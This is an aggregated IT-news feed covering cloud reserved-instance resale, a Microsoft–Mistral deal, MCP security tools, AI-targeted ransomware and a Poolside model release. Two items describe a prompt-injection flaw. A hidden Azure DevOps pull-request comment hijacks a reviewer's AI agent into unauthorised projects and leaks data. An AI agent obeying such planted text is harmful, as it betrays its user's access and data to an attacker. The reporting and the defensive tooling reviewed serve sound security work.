<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…
Read more →
The post Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comme...]]></description>
<link>https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one...]]></description>
<link>https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:25:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one of its tools returns pull request descriptions without a prompt-injection guardrail the company had]]></content:encoded>
</item>
<item>
<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack]]></title>
<description><![CDATA[Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month. The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to encrypt model weights, vector index...]]></description>
<link>https://tsecurity.de/de/3685183/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685183/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</guid>
<pubDate>Wed, 22 Jul 2026 05:26:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month. The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to encrypt model weights, vector indexes, training datasets, and other AI infrastructure files across the host […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a 